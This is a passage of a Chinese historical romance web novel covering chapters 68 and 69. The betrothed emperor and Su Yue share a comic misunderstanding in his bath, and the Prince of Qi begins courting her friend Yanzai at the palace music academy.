颜在还记得早前苏意掀了她的老底,有阵子她在梨园受尽嘲讽。如今正是报仇雪恨的好时机,便拔着嗓门说:“上年是谁取笑?,张口?闭口?管她叫皇后?敢是嘴开?了光,一说一个准。” 那些曾经调侃过她的人,早就掩在人堆里,再也?不出那个头了。早前拉帮结派欺生?,到如今想起来?后悔莫急,最后被人讥嘲两句,好像也?是活该。 苏月的脾气不喜张扬,只管招呼她们,“我带了些果子回来?,大家尝尝。”一面抽空查问了今天乐程的安排,便放心回官舍了。 坐在屋子里,终归有些定不下神,梳洗过后换了身衣裳,翻找出钥匙,打开?了巷道上的小门。 果然这巷道仍是灯火通明,跳动?的火光十步一盏,和天上的星月相映成趣。自己鲜少运用这条通道,上次走过,怕已是两个月前的事了。主动?去找他?,大多也?是因着公务上的问题,好像从没?有出于私情。今日是定亲的日子,难得主动?一回,也?算破天荒了。 快步走,宫掖深广,从南到北需要耗费一番工夫。上了陶光园长廊,可以直达徽猷殿,她进了宫门到殿前,一眼就见国用和淮州正抱着拂尘,站在槛外闲聊天。 国用眼尖发现了她,立刻一副如临大敌的样子,躬肩缩脖上来?迎接,结结巴巴说:“娘娘娘……娘子,您怎么来?了?” 苏月见他?这样,疑惑地?朝殿内看了一眼,“陛下今日这么忙,我来?看看他?。他?人呢?可在徽猷殿?” 国用说是,“在……在殿中?。不过娘子不宜入内。” 边上的淮州看看国用,似乎领会了什么,点头不迭,“对,娘子不宜入内。” 这下苏月愈发不解了,“为什么?这么晚了,难道还在接见臣工?” 国用摇头,“不不不,陛下是独自一人,真的独自一人。” “那怎么不能见我?” 国用愈发支吾了,眼神闪烁着赔笑?,“先前陛下说,今晚要早些入睡……奴婢料想陛下睡着了……要不娘子且等一等,奴婢进去为娘子传话。” 他?们想尽办法搪塞,苏月顿时一股无名火起,断然说不必,“殿里怕是不止他?一人。他?每日都要忙到子时,现在才刚亥正,睡得着么?”说着就要闯进去一探究竟。 这下国用更慌了,忙拦住了她的去路,“奴婢说错了,陛下正在沐浴,娘子不便入内。还请娘子在偏殿稍待,容奴婢进去瞧瞧,等瞧准了,再来?回娘子。” 这种明晃晃的遮掩,大概只有傻子才看不出来?。他?们越是阻止,她越要闯进去,心里愤愤不平,今日才刚定亲,这人晚上借故不露面,跟前伺候的人又一副心虚的样子,定是其?中?有鬼。 “让开?。”她板着脸,呵斥张开?臂膀横亘在她面前的国用和淮州。 国用咬牙摇头,淮州也?跟着连连摇头。 “让开?。”她又重申了一句,“再不让开?,我可要生?气了。” 这下国用没?办法了,犹犹豫豫往边上让了让,嘴里嗫嚅着:“这是娘子强要进去,奴婢是一千一万个不答应的,若陛下怪罪……” “由?我一力承担。”她气咻咻道,格开?了国用,大步往殿内去了。 第68章 第 68 章 国用看着她疾步往殿内去了?, 满脸的?忧心忡忡转化成了?无边的?窃喜。 起先还?对他的?做法不明?所以的?淮州,这回算是彻底服了?,竖起大拇指说?:“总管随机应变, 这份眼力?劲儿, 让人望尘莫及。您不当总管, 谁当总管!” 国用笑着问他,“你?也看出我在诓大娘子了??” 淮州点头如捣蒜, “越是讳莫如深,大娘子越是着急上火, 决意进去查看陛下身边有没有人。”不过说?着说?着, 又迟疑了?,“陛下不是正沐浴么……” 国用说?是啊,“我不是说?了?吗, 陛下正沐浴。” 淮州一时有些转不过弯来, 等整理了?下思绪才明?白, “您就是想让大娘子闯进去啊?” 国用抱着拂尘叹息,“你?不知道, 想助陛下一臂之力?有多难。这二位与?寻常男女?的?相处之道不一样?,就得来点出其不意,才能成其好事。” 淮州简直对国用佩服得五体投地, “今日之后?, 陛下势必更加器重?大总管。” 国用笑了?笑, “急陛下之所急,是我们做内侍毕生的?宗旨。你?还?年轻,多学着点儿, 将来处处用得上。” 他们这头谈得风生水起,那厢闯进后?殿的?人, 心情可说?是十分不佳。 事出反常必有妖,她走了?这一程,只有前殿和后?殿之间的?通道上站着两名内侍,不见其余侍奉的?人。她心里的?警觉立刻便拔高了?千丈,难道那人自觉亲事已定,再?也不打算伪装了??所谓的?除她之外再?没有旁人,也都是骗她的?,婚书到手就迫不及待原形毕露,说?不定内寝藏着娇滴滴的?小娘子,正做什么颠鸾倒凤的?破事。 越想越生气,她已经打定了?主意,只要他有半分不轨,绝不忍气吞声。她要解除婚约,把婚书当面扔在他脸上,明?日就和爹娘一起回姑苏,这辈子再?也不来上都了?。 反正脑内排演出了?好大一场戏,冲进外寝找了?一圈,没找见人,愈发牙根痒痒——好啊,果然在内寝! 于是又匆匆赶入内寝,里里外外搜寻一遍,还?是没见踪影。看来这人玩得很花,是谁说?他纯洁无瑕?以前真是低估了?他! 这时隐约听见西边的?小寝内传来动静,皇帝素来是住东寝的?,上回还?曾慷慨邀约她搬过来。虽说?徽猷殿后?殿她也是第一回来,但?凭借女?郎的?直觉,相信一定不简单,看来是西寝内藏着人,用来婚前小试身手。 思及此,怒发冲冠,白天刚订婚,夜里就美?人在怀?她赶到门前侧耳细听,听见里面有悉悉索索的?响动,还?有缠绵拖曳的?脚步声。一时气不打一处来,一脚踹开了?房门。 门内的?人手里抓着亵裤,一条腿还?没来得及穿进去,遭逢如此骤变,已经完全?傻了?眼。门外气焰嚣张的?人也呆住了?,惊恐地看着眼前的?一切,然后?两声尖叫冲破徽猷殿后?殿,翻滚的?洪流一样?传导进檐下站立的?人耳朵里。 淮州瞪大了?眼,“总管,可要进去看看,好像出事了?……” 国用说?没事,“你?现在进去,就等着挨陛下的?骂吧。” 所以这么大的?变故,没有引发任何人的?好奇心,后?殿之内依旧静悄悄地,只有大眼瞪小眼的?两个人。 皇帝终于反应过来,慌乱中拽过帛巾遮羞,半穿的?亵裤也滑落在了?脚边。 苏月捂住眼睛的?手裂开了?好几道缝,从指缝间看着那人的?窘态,虽然自己惊出了?一身冷汗,但?还?是要尽力?挽回颜面,抢占先机恶人先告状:“你?沐浴,怎么没人侍奉?这么大个皇帝,自己擦身穿衣!” 皇帝觉得很冤枉,“为什么非得要人伺候,朕自己不会洗?” 苏月无力?反驳,支吾着说?:“你?不能怪我,我是着了?国用的?道,他故意含糊其辞,把我诓骗来的?。” 惊魂未定的?皇帝问:“他说?了?什么,惹得你?横冲直撞?” 苏月忽然发现这个问题其实更不好回答,国用实则什么都没说?,他甚至告诉她陛下正在沐浴,是自己不信邪冲进来试图捉奸,怨不了?别人。 皇帝掩着帛巾,尽力?侧身站着,姿势看上去狼狈又怪异。并且刚才她从天而降,他记得自己的?裤子刚穿了?一半,也不知有没有被她看见不该看的?东西。虽然自己不排斥和她有更进一步的?发展,但?应该是在他有所准备的?时候,每次都那么猝不及防,实在让他感到些许难以招架。 她还?在看着他,不会是因为他身材太好,让她移不开视线吧!他虽受用,还?是不得不提醒她,“朕要更衣了?,你?……要不要回避一下?” 苏月臊眉耷眼“哦”了?声,伸手关上了?西寝的?门。 直到此时,她才想起来该羞惭,不由懊恼地敲了?敲自己的?脑袋。猜忌令人疯狂啊,刚才那一冲动,把权大看光了?,错愕之余大受震撼,男子的?体格,果然与?女?郎不一样?。 后?来再?出门见人的?权大,明?显有些不自在了?,眼神?闪躲着,嘴里还?在嘀咕:“这是你?给朕的?订婚惊喜么,多谢你?,朕真的?惊到了?。” 苏月闷着头说:“对不住,我好像误会了?。” “误会什么?误会朕躲在后殿临幸别的女郎?”他义愤填膺指控了?一番,说完才意识到一个问题,眼波欲滴地望着她问,“你?想一人独占朕,对么?女?郎,原来你对朕的感情那么深,以前没看出来,今天总算明?白了?。你?放心,朕绝不负你?,这徽猷殿随你?来去自由,若是有需要,朕沐浴的?时候连门都可以不关。” 感动么?确实有些感动,陛下好坦然。 苏月本?想周全?两句的?,没等她开口,他就上前拉住了?她的?手,十分热情地请她去东寝坐坐。 “朕的?内寝,一向没有人来,除了?那些御前伺候的?,你?是第一个。”他给她指引,“内寝收集了?朕的?藏品,譬如攻打各州郡的?布兵图镶成的?屏风,当年用过的?箭羽也制成了?板画,供在了?高案上。还?有御榻内围的?床板,用朕在崖海边上收集的?彩贝做成,你?要看看么?” 他就像个吸人魂魄的?妖怪,致力?于施展他的?美?男计,引她走向床榻,参观他的?爱物小玩意。 还?好苏月定力?够,坚决地婉拒了?,“不就是螺钿么,把螺壳敲得稀碎,再?一片片镶起来,很费眼睛。以前我自己也做过,镶了?两个杯子,送给我阿舅做寿礼了?。” 皇帝发现此路不通,想了?想道:“那看看朕的?卧具?你?不是嫌弃朕的?床榻吗,这回你?再?摸摸,硬不硬。” 他穿着寝衣,说?这番话的?时候两眼莫名放光,苏月机智地摇头,“我不想摸,硬不硬都和我没关系。” “怎么能没关系呢,今日我们不是定亲了?吗,将来朕的?床榻就是你?的?床榻,你?还?能不睡吗?”他笑得温和,“要不,上去躺躺试试?” 这下干脆不打算遮掩了??苏月婉拒不迭,“不了?不了?,日后?有机会再?试吧!” 然后?他就怅然若失了?,“你?竟一点都不好奇,朕还?想让你?看看里面的?布置呢。”边说?边打起了?垂落的?帐幔。 这下苏月看清了?,这人把那天买来的?虎头帽分别挂在了?床头和床尾。抬眼一看,生儿,垂眼一看,育女?,连眨眼都不耽误幻想,陛下算是把时间运用得明?明?白白了?。 “如何?”他问。 苏月迟迟调转视线,“你?想让我夸你?吗?” 他说?倒也不是,“不过是想让你?看见朕的?决心罢了?。朕是一门心思与?你?过的?,待你?我暮年闲坐庭院,赏看春花冬雪,曾经戴着虎头帽的?太子长大成人了?,可以为朕监国,你?说?这样?的?日子,是不是极其舒心适意?” 苏月细想了?想,“确实。” 他交扣着两手,眸底微光缱绻,“那咱们就得逐步解决问题了?,先得有个儿子。” 她沉默了?良久,忽然问:“若是我生不出儿子呢?” 皇帝怔了?下,“为何?朕没有宜男之相?” 她听了?险些笑出来,“这可说?不准,万一生的?都是女?儿,那怎么办?” 国家后?继无人,是一桩动摇社稷的?大事啊,到时候皇帝陛下还?想得起来春花冬雪吗?与?他春花冬雪的?,还?会是她吗? 结果出乎意料,这点不顺心,在皇帝看来全?是自寻烦恼。 “朝中有大儒,足以将公主教导得很好。皇太女?也可以监国,不耽误我们上了?年纪晒太阳。”他爽朗地说?完了?,见她又要质疑,抢先一步截住了?她的?话,“不许说?生不出孩子!我权珩做错了?什么,老天爷要罚我断子绝孙?” 她只好怏怏闭上了?嘴,其实这些话纯属是找茬,大梁不单属于皇帝,更承载着所有百姓的?生死存亡。国家要安定,紫微城中就不能有内乱,养育两三个后?继之人,也在她的?计划之中。且想起要与?这人一起闲看落花,倒着实很令她期待,当然,年老时他要是能不再?气她,那就更好了?。 她浮起清浅的?笑,笑意蔓延进眼睛里,拍了?拍他的?肩安抚他,“儿子会有的?,女?儿也会有的?。老天爷见陛下勤政爱民,怎么能不格外眷顾你?呢。” 这话说?得眼前人荡漾,牵起她的?手道:“何时能有?择日不如撞日,要不今晚就洞房吧,朕都已经准备好了?。” 苏月说?不成,“定亲和大婚可不一样?,没听过定完了?亲,当晚就洞房的?。” “但?朕是个不拘一格的?皇帝,办事雷厉风行,从来不死板。”他微笑着游说?,“你?也应该是一位不拘一格的?皇后?,世俗的?繁文缛节何必理会,这样?才与?朕最相配。” 谁说?这人嘴笨?打起小算盘来,算盘珠子明?明?能蹦到别人脸上。 苏月恍然大悟,“你?嘴里说?着婚期可以再?议,其实心里早就有了?主张,想用这个逼我就范,对么?” 皇帝一时情热,脱口道:“你?若不愿意,谁能逼你?就范?别说?洞房了?,就算怀上了?孩子,你?不肯入掖庭,朕不也拿你?没办法吗。” 然后?换来她了?然的?微笑,也许还?有点害羞,那一低头的?模样?,符合他对妙龄女?郎所有的?想象。 他离她愈发近了?,悄悄搂上她的?腰,“来么?朕都洗好了?。” 结果可想而知,换来她一记重?捶,“陛下请自重?!我就说?国用怎么鬼鬼祟祟的?,定是受了?你?的?支使,引我进来羊入虎口。” 他揉着胳膊辩解,“朕又不是神?仙,事先并不知道你?会来,怎么和国用串通?是你?自己信不过朕,以为朕在内寝鬼混,才不管三七二十一闯进来。你?吓着朕了?,朕还?没与?你?算账,你?竟好意思反咬一口?” 自知理亏的?苏月只好给他揉了?揉,“是我疑神?疑鬼,下次不会了?。”一面识相地往后?退了?两步,“你?今日这么忙,我担心是朝中发生了?变故,所以赶来看看。既然你?一切都好,我就放心了?,快些上床捂着,别着凉。我走了?……走了?啊。” 他心头的?惆怅厚重?如天顶的?云团,洗得香香的?也没什么用,留不住她。叹了?口气,他说?你?且等等,“朕送你?回去。” 苏月忙说?不用,“一来一回多费工夫,我自己回去就成了?。” 皇帝看了?看她,其实那个问题一直横在他心头,始终不好意思问出口。现在她要走了?,再?不问就来不及了?,遂壮起胆打探:“那个……你?看见了?么?” 苏月连连摇头,“没有,没看见。” “朕还?没说?是什么。” “什么都没看见。”她强颜欢笑,“我来得快,你?捂得也快,就算看见,也只看见一点边角,真的?。” 那人终于被她说?懵了?,一点边角是什么意思?边角……她管那个叫边角? 苏月趁着他发懵的?当口飞快出去了?,这地方不能再?待了?,再?待下去,脸就要烧起来了?。 急急迈出大殿,迎头遇上了?嗒然微笑的?国用和淮州。国用说?:“大娘子这就要走啊?您看,奴婢就说?您不宜入内,陛下正沐浴吧。” 苏月看着他,沉重?地说?:“总管真是陛下的?好臣子,难怪陛下器重?你?。” 淮州有点惶恐,暗暗拽了?下国用的?袖子。 国用咽了?口唾沫,赔笑道:“那个……大娘子,奴婢送您回圆璧城吧。夜深了?,一个人行路寂寞。” 苏月说?不用,“巷道里点着灯,我想一个人静静,不必跟着。”说?罢提着裙裾,快步往宫门上去了?。 淮州目送她走远,转头问国用:“大娘子不会记恨您吧?” 国用说?怎么会呢,“大娘子最是明?事理,知道我这都是为了?牵线搭桥。” 可惜陛下在处置个人情感方面,手段还?是薄弱了?些,都喊成那样?了?,也没能把人留下。国用又不免有些怅惘,太后?交代的?差事实在很难完成,主要陛下脸皮过薄。要是再?豁出去一些,生米煮成熟饭,还?愁婚期定不下来吗,明?年立春都该有好消息了?。 那厢苏月返回官舍,还?在庆幸跑得够快。自己确实把那人给看光了?,他非要讨个公道,属实不好交代。不过有些账,倒也不必算得那么明?白,既然都已经定亲了?,被她看一下又不会损失什么,那么小气,难道一辈子都不给看了?吗! 反正拉扯了?那么久,私事办得差不多了?,对苏月来说?尘埃落定,接下来只管忙碌冬至大典。冬至祭天地、祭祖宗,除了?朝廷的?公务,还?要预备私宅尝缔。预留的?人员要腾出来,剩下便是检阅大曲音声,其中有一首曲子单单看谱就震心,查找来历,却没人说?得清楚。 太乐令云里雾里,“清早发现放在我书案上,我以为是乐府送来的?,顺手就夹在录本?里了?。” 闹不清出处,倒也没关系,先安排人试奏。编钟起始,后?有正鼓击齐、埙篪排箫,雄浑的?排场,颇有五代前蜀的?遗风。 既然确实是首好曲,那就得找到谱曲人,否则不能贸然推出。于是查问是谁把曲谱送到官署的?,问了?一圈才知道,是齐王专程托人送进来的?。 苏月方想起来,他早前和她说?过,有几首曲子想让她过目,她听过就忘了?。今天曲谱送到面前,一试之下大为惊叹,果然权家兄弟都不是等闲之辈,权弈大约因为身弱的?缘故,对琴棋书画的?钻研,比之一般人更深彻。 颜在不明?所以,“齐王是谁?” 苏月说?:“陛下的?胞弟。以前身子不好,鲜少在庆典上露面,我也是上回去代侯府才结识他的?。咱们要用这曲子,得先经他首肯,我这就命人去相邀,让他听过合奏,看看可有需要调整的?地方。” 派出去的?人赶往齐王宅,回来后?带了?齐王的?话,说?今日很忙,还?有些公务要处置,来不及赶到梨园了?。等明?日再?看,若是得闲,一定过来一趟。 后?来直到第二日下半晌,人才姗姗来迟。弘雅英俊的?男子,举手投足一派清贵气象,加上乐理高雅,又会多种乐器,立时就引发了?园中女?郎们的?好感。 当然,出身显赫却平易近人,也是他大受欢迎的?重?要原因。这曲清商大曲中有些细节需要修改,他亲自抱着月琴坐在乐人中间与?大家商讨,要不要加入胡笳,要不要改调。 苏月见颜在一直呆呆看着他,以为她大约是有些一见钟情的?意味,笑着说?:“齐王是方正齐楚的?君子,我头一回见他,觉得他比陛下强多了?。” 颜在眼底却蒙上一层水光,偏头对苏月道:“看见他,想起了?一位故人。” 苏月的?笑意顿时隐去了?,心里明?白她说?的?是谁,“青崖?” 颜在的?唇角抽搐了?两下,复又无奈地浮出苦笑,“面貌并不相像,只是感觉像罢了?。青崖若是有齐王这样?的?身份地位,那该多好,就不用受那么多的?苦,也不会让人百般羞辱。” 苏月叹息着,轻拍了?下她的?手,“兴许他已经羽化登仙了?,来人间历一次劫,又回天上述职去了?。” 颜在点了?点头,“我前日还?梦见他呢,清明?踏青,穿着锦绣的?缭绫站在花树底下,看上去还?和生前一样?。” 说?到这里愈发唏嘘,因背着人交谈,乐池里有人唤她们,她们也不曾听见。 太乐令只得提高了?声量,“大娘子,你?看怎么样??” 苏月和颜在这才转回头,见大家都眼巴巴看着她们,苏月忙点头,“甚好、甚好,就依着大王的?意思修整吧。” 齐王的?视线如叶间金芒,洒落在颜在身上。不知是不是颜在眉眼间残存的?哀伤,让他感到困惑和好奇,他的?唇角带着善意的?笑,就那么探究地望着她。 颜在只觉尴尬,想来自己是失态了?,忙同苏月打了?声招呼,便匆匆离开了?。 第69章 第 69 章 颜在走后, 大乐又试奏了?两遍,才最终定准下来…… 乐师散场,齐王也站起身同苏月攀谈, 笑着说:“不?入流的曲子, 没想到?能入阿嫂的眼。昨日你派人来我府里传话, 我还有些受宠若惊呢。” 苏月摆了?摆手,“大王自谦了?, 这?样的曲子,可?得是在乐府磨砺了?多年的乐师, 才能谱写?出来的。大王乐理造诣颇深, 往后若是有新的曲目,一定要让我们开开眼。梨园近来在建乐册,收录本朝上好的曲目, 如果能得大王襄助, 那这?曲谱就?更充实?了?。” 齐王听了?朝她拱手, “只要阿嫂瞧得上,我没有不?出力的道理。” 苏月被他一口一个?阿嫂, 叫得有些不?好意思?,赧然道:“我与陛下尚未完婚,大王还是用?官称吧, 我也自在些。” 齐王不?由一笑, “已经过了?礼, 总是大半个?阿嫂了?,不?过你既然不?自在,那就?跟着他们称呼大娘子吧。”说罢朝大乐堂门?外望了?眼, “先前那位娘子,好像很面善, 不?知以前见过没有。” 苏月“哦”了?声,“朱娘子也是姑苏人,说不?定早前曾在路上见过,所以觉得面善。” 齐王慢慢点头?,脸上又流露出困惑的神情,“我在奏曲的时候,见她总看着我,一副泫然欲泣的样子……我就?在想,是不?是哪里得罪过她,为什么她见了?我就?想哭。” 苏月心说不?大妙,这?点情绪的变化,竟被他看出来了?。可?见这?位郎君的心思?很细腻,和青崖真有几分?像。但他这?么问,自己也不?好回答,闹得不?好就?唐突他了?。便?含糊地应了?句,“你弹曲的样子,让她想起一位故人了?……没什么,乐人总是多愁善感些,大王不?必放在心上。” 齐王没有再追问,这?首清商大曲敲定之后,就?预备告辞了?。 苏月放下了?手里的乐册,“我送你出园。” 齐王说不?用?了?,“你忙你的,叫个?人给我引路就?行了?。以前不?得机会,没有来过梨园,我想上太乐署去一趟,府里缺两位乐师,看看有没有合适的人选,请回家去供职。” 太乐署在东夹城,里头?全是男乐师,女子过去确实?不?便?。苏月遂唤来了?乐正,让他为齐王引路。 齐王行礼别过了?她,就?跟着乐正出门?了?。这?圆璧城说大确实?大,占地差不?多抵半个?禁内,从?西到?东走上一程,得花不?少时间。领路的乐正一处处介绍,这?里是乐场,那里是官署,连园中的伙房和乐工直房也没有遗漏。 从?一处写?着“扶摇东方”的院落前经过,恰好见到?了?刚才那位女郎。女郎圆圆的脸,看上去单纯青涩,他不?由 顿住步子,向她拱了?拱手,“朱娘子。” 颜在很有些意外,忙向他还了?个?礼,“大王。” 再直起身时,就?近看也还是觉得他与青崖很像,也许因为同样的眉目清朗,也或者因为同样的神情气?韵。自己对青崖诸多亏欠,今生来不?及偿还,见到?与他有几分?神似的人,就?难掩惆怅。 可?这?位毕竟不?是普通人,万万不?能混淆。于是匆匆抬了?抬眼,又赶紧垂下,谨慎地让到?了?一旁。 齐王却没有举步离开,反倒是打发乐正:“我在此间逛逛,你先退下吧。” 乐正道是,依言回避了?,他方才来与颜在搭讪,“我先前问大娘子,你为何那样看着我,大娘子说你忆起了?故人,那位故人现在在哪里?娘子见不?到?他了?吗?” 颜在勉强笑了?笑,“他去了?很远的地方,确实?再难见到?。” 齐王缓缓颔首,顿了?顿道:“前阵子梨园走失了?一位乐师,大娘子四?处寻找,仓促间搜查左翊卫将军府,得罪了?一干前朝降将,被人弹劾上朝堂。后来有位少年击登闻鼓鸣冤,他口中曾提起过一位朱娘子,那位朱娘子,想必就?是你吧?” 那件事确实?闹得很大,大得朝野皆知,实?在没有否认的必要。颜在便?俯了?俯身,“正是卑下。” 齐王眼波流转,“那么你口中的故人,是嬴青崖?” 这?番直白的问话,惊出了?颜在一身冷汗。她心里明白,青崖所受的那些罪,在权贵眼中都是污点,他们只会嫌恶蔑视,鲜少有人能理解同情。自己看见齐王便?想到?青崖,对齐王来说必是莫大的侮辱,竟拿他与乐工相提并论,接下来怕是要勃然大怒了?。 可出乎她的意料,他并未动怒,反倒语带唏嘘,“他击鼓那日,我也在朝堂上,亲眼看着他自证,亲眼看他把累累伤痕袒露在所有人面前。他是个?可?怜人,明明有无双的人才样貌,却因经历了?前朝,被那些禽兽轻贱,弄得残破不堪。听说他已经不?在了?,所以你心里惦念他,看见我便?想起了?他?” 颜在忐忑地退后两步,深深朝他揖拜下去,“请大王恕卑下大不敬之罪。” 齐王一笑,“这算什么大不敬。人有神似么,勾起了?你对故人的怀念,也算缘分?。” 这?么好说话的王侯,倒是超出了颜在的认知。她还是有些不?敢置信,迟疑道:“大王不?觉得受辱了?么?” “为何受辱?”他问,“我听说他是声乐奇才,所谱的曲目在乐府中无人能及。只是可?惜,这?么年轻就?不?在了?,要是能挺过这?一关,他日必定前途无量。” 颜在悬起的心,终于落回了?腔子里,垂首道:“彩云易散琉璃脆,想是这?人世留不?住他。” “还是那顿笞杖打得太重了?,他的身子受不?住。”齐王说罢,复又好奇地追问她,“他是你的心上人么?” 颜在摇了?摇头?,“他是我的恩人,我一辈子都报答不?尽他的恩情。” 齐王叹了?口气?,“能这?样豁出命去保护一个?人,说明这?人值得。小娘子也不?必太伤怀,心里记着他的好,他就?不?枉来了?人间一遭。” 他的话,让人感到?温暖。明明那么显赫的人,却有一颗异常柔软的心,能触及人内心最深处的伤痛,甚至能与你感同身受。 颜在还未从?感慨中脱身出来,他复又道了?句:“既然觉得我与他相像,日后就?不?要见外,若遇见难以解决的事,就?来找我吧。”说完抿唇笑了?笑,转身朝东夹城方向去了?。 这?场谈话,倒像一场奇遇,难怪苏月曾夸过齐王君子,现在看来果然如此。 只不?过人家的客套,她也不?会去当真。自己身在梨园,平时遇不?上什么事,就?算有些小小的不?顺,还有苏月在前头?挡着,不?用?她为难。她只需尽心地排演,顺利带领乐工们承办好冬至大典就?行了?。 日子过得很快,冬至转眼即至。祭天在圜丘举行,大典进行的过程中以吹鼓署的法乐为主,皇帝领着满朝文武在天地坛上跪拜敬香,法螺吹奏的声响,仿佛是从?地心传来的,弥漫着无边的雄浑与庄严。 这?种时候,后台是最紧张的,要预备接下来的曲目,丝毫不?能出错。苏月清点登台的人员,颜在作为她得力的助手,自然忙得团团转。等到?接下来的大曲都安排妥当,乐工也都送出去了?,两个?人才得闲背靠着砖墙,稍稍休息上一会儿。 冬至日的太阳照在身上,如果没有风,还是很温暖的。 苏月眯着眼说:“我前日呈报了?太常寺,打算给你谋个?乐正的衔儿。日后是役满回姑苏,还是留在梨园逐步升迁,都由你自己说了?算。” 颜在讶然,“我也有官做?” 苏月笑道:“梨园里的小吏有俸禄,可?惜算不?得官,须得升到?太乐丞那样的品级,也才□□品而已。咱们在园里忙的这?些不?为做官,只为让乐工们活得舒心一些,出了?事,有人能为他们扛一扛。你还记得吗,我们早前刚进圆璧城的时候领受规矩,老资历的告诉我们,巴结上那些官员,只要他们向梨园递交文书,就?能从?梨园出去。如今再看人员名册,发现已经半年不?曾有人离开了?,可?见梨园改制还是很有成效的。” 颜在说是,“我记得最后一个?出去的,是刘娘子。” 说起刘善质,苏月兴致盎然地告诉她:“我前日在太常寺衙门?见到?她了?,她来给冯大人送饭,挺着老大的肚子,快要生了?。” 颜在讶然,“要生了??时间过起来真快!” 苏月说可?不?是,“冯大人重情义,没有因她是乐人出身,让她做妾室,正经聘为正室夫人了?。只是碍于她有了?身孕,没有大操大办,只在族中办了?婚宴,认了?族亲就?算礼成了?。” 颜在嗟叹,“见她有个?好结局,我也替她高?兴。早前和那个?白溪石纠缠,弄得人不?人鬼不?鬼的……”说罢才想起来,忙捂住嘴赔礼,“我险些忘了?,白溪石如今是你妹婿,我说这?个?,不?合时宜了?。” 苏月一嗤,“你也调侃我?不?过白溪石要外放苏杭做督造了?,料想苏意也会跟着一起去。” 颜在马上就?明白了?,“明升暗降,还特地派遣到?苏杭,分?明是怕苏意不?跟着去啊。看来苏意又得罪你了??” 苏月思?忖了?下说没有,“我上次见她,是在过礼那日。满屋子族亲,连话都没说上。” “那就?是陛下记仇。”颜在言之凿凿,“想是怕这?个?堂妹又给你添麻烦,远远打发出去,大家省心。” 这?么一说是大有可?能的。皇帝陛下未雨绸缪,只要让他觉得碍眼,早晚能把你撇出去十万八千里。 两个?人正喁喁说话,那厢有人唤:“大娘子,大娘子,来一下……” 苏月连忙赶去处置了?,颜在也得帮着?弹家搬运布置场地的毡布。只是一次搬得有点多了?,中途手酸得紧,赶场相距远,放又放不?下。正为难的时候,忽觉胳膊上一轻,偏头?看,居然是齐王。 他依旧带着温软的笑,替她分?担了?大半,随口问:“梨园没有配备杂役么,这?种粗活怎么要你们干?” 颜在道:“乐工转场时间紧迫,没有那么多杂役随行,素来是我们自己搬运的。大王快把毡布放回来吧,卑下自己能行。” 然而他并未听从?,转过身,迎着日光漫行。玄黑绣金银纹的祭服衬出了?清俊的好相貌,那皮肤通透,比女郎更显细致。 身处高?位,却半点不?带上位者的傲慢,他淡声道:“大祭结束了?,我正好闲着无事可?做,替你送一程吧。用?不?着诚惶诚恐,两年前我也还是姑苏权家的病殃子,谈不?上尊贵,与你是一样的。” 颜在见状也不?好再推辞,低头?跟在他身后。齐王倒不?是个?沉闷的人,不?紧不?慢地与她讨论乐理,复又笑着说:“我前几日还与大娘子提过,要是不?做亲王,想入乐府谱曲。可?惜如今被身份所累,完不?成这?远大的志向了?,好在阿嫂执掌着梨园,还可?以厚着脸皮托付,请梨园乐师们把曲子弹奏出来。” 颜在倒是实?心夸赞他那首清商大曲的,“大王的曲子作得很好,起先不?知是出自谁人之手,大家就?已经赞不?绝口了?。” 齐王笑得腼腆,“那时身子不?好,整日大门?不?出二门?不?迈,就?用?这?个?打发时间。现在入朝为官了?,政事纷扰,渐渐就?放下了?。”说罢又问她,“你离家有一年了?吧,想家么?” 颜在说想啊,“怎么能不?惦念家里的至亲。我阿娘上了?年纪,身体不?大好,阿兄经营着两个?食铺,整日忙忙碌碌,怕也顾不?上照应她。” “日后有机会,可?以让他们像辜家那样迁入上都。”他随口说了?句。 颜在一怔,本欲转头?看他,最后还是忍住了?。 齐王大概也意识到?了?,脱口而出的话会引来歧义,便?沉默下来,沉默了?一路。 直到?交付了?手上的毡布,两个?人从?帐中退出来,走到?门?外不?经意对望了?一眼,彼此都赧然笑了?。 他转头?望向天际,喃喃道:“去年这?个?时节,早就?大雪满天了?,今年却一点动静都没有。” 同为江南人,很能理解这?种期盼,颜在问:“大王喜欢雪?” 他说是啊,“江南下雪不?及上都多,就?算下了?,好像也鲜少能积起来。” 颜在想起了?青崖,自己是喜欢下雪的,但青崖却很讨厌。他曾经同她说过,嬴家满门?获罪,就?是在一个?大雪纷飞的日子里。全家人被牲畜一样押出府邸,不?用?进大理寺,更不?用?经过审问,十岁以上的男子全部都得杀头?。他当时未满十岁。凄惨地活了?下来,只是雪地上泼洒的血迹,深深刻进了?他的记忆里,以至于一到?下雪天他就?感到?恐惧。自己听了?他的话,自然不?便?再说喜欢雪了?,怕一不?小心,勾起他的伤心往事。 齐王见她不?说话,偏过头?问她:“女郎也爱下雪么?” 颜在这?时方点了?点头?,“对,我喜欢下雪,雪天爱游湖,也爱跟着阿兄去寺庙进香。” 很高?兴彼此有相同的爱好,齐王说:“那等到?初雪的日子,我下帖邀娘子出游吧。早前我身上不?好,遇见雪天也不?敢外出,如今痊愈了?,可?以趁着好时节,出去走走看看。” 一个?只见过两回面的男子,说下雪的日子要邀你游玩,多少有些不?寻常。颜在原本该拒绝的,但碍于人家的身份,且他好像也没有恶意,还是含糊地答应了?。 事后和苏月说起,苏月笑得意味深长,搂住颜在的肩道:“齐王莫不?是对你有意思?吧,否则怎么不?邀别人,只邀你?” 颜在飞红了?脸,推搡着她道:“别胡说,招人笑话。” 苏月揶揄她,“哪里胡说了?,他又没定亲,病体痊愈了?,可?不?得张罗一个?可?心的女郎吗。上回陛下还说呢,梨园的女郎就?很好,长得好看,还有手艺,没想到?他们兄弟俩想到?一块儿去了?。颜在,要是齐王果真对你有意,你不?要轻易错过。你是我最好的朋友,若是咱们能做妯娌,就?可?以永远在一起了?。” 说得颜在无地自容,“八字还没一撇,你怎么想得如此长远。” 但齐王着实?对她颇为殷勤,有时顺道来梨园,谈曲论调之余,都会寻机会和她独处。今日带个?曲谱孤本,明日再带一副弹琴用?的银甲,来来往往,从?一些曲乐用?品,逐渐转化成了?女郎私人的小物,譬如一支簪子,一盒胭脂。 终于等来了?初雪的日子,齐王也如约来相邀,请颜在出去踏雪寻梅。 颜在还有些犹豫,苏月看得出来,其实?她对齐王也有意,便?一径怂恿她,“想去就?去吧!今日园中没有差事,大家都闲来赏雪呢,人家特意来请,别辜负了?人家的好意。” 颜在听了?,最后还是决意赴约了?。苏月送她到?门?上,看她坐进马车里,目送她离开后,才转身返回园内。 